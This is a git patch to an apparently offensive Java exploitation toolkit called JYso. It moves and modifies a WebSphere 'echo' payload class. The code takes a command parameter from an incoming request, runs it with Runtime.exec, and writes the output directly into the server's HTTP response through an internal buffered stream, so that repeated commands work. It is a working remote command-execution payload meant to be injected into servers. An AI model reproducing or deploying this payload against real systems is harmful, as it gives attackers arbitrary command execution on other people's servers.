From 527ba03e467dc7a13eddd44233e4afb6c26a8b04 Mon Sep 17 00:00:00 2001 From: qi4L Date: Sun, 19 Oct 2025 10:15:35 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20Websphere=E5=9B=9E=E6=98=BE=E9=A9=AC?= =?UTF-8?q?=E8=A7=A3=E5=86=B3=E5=91=BD=E4=BB=A4=E6=89=A7=E8=A1=8C=E5=8F=AA?= =?UTF-8?q?=E8=83=BD=E6=89=A7=E8=A1=8C=E4=B8=80=E6=AC=A1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Websphere => echoStatic}/websphereEcho.java | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) rename src/main/java/com/qi4l/JYso/template/{memshellStatic/Websphere => echoStatic}/websphereEcho.java (68%) diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/websphereEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java similarity index 68% rename from src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/websphereEcho.java rename to src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java index 3a817eb..9aa2329 100644 --- a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/websphereEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/websphereEcho.java @@ -1,4 +1,8 @@ -package com.qi4l.JYso.template.memshellStatic.Websphere; +package com.qi4l.JYso.template.echoStatic; + +import java.io.OutputStream; + +import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue; public class websphereEcho { @@ -22,8 +26,13 @@ public class websphereEcho { if (cmd != null && !cmd.isEmpty()) { String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); - printWriter.println(res); + //java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); + //printWriter.println(res); + + // 解决只读一次的问题 + OutputStream outputStream = (OutputStream) getFieldValue(resp, "_bufferedOut"); + outputStream.flush(); + outputStream.write(res.getBytes()); } break;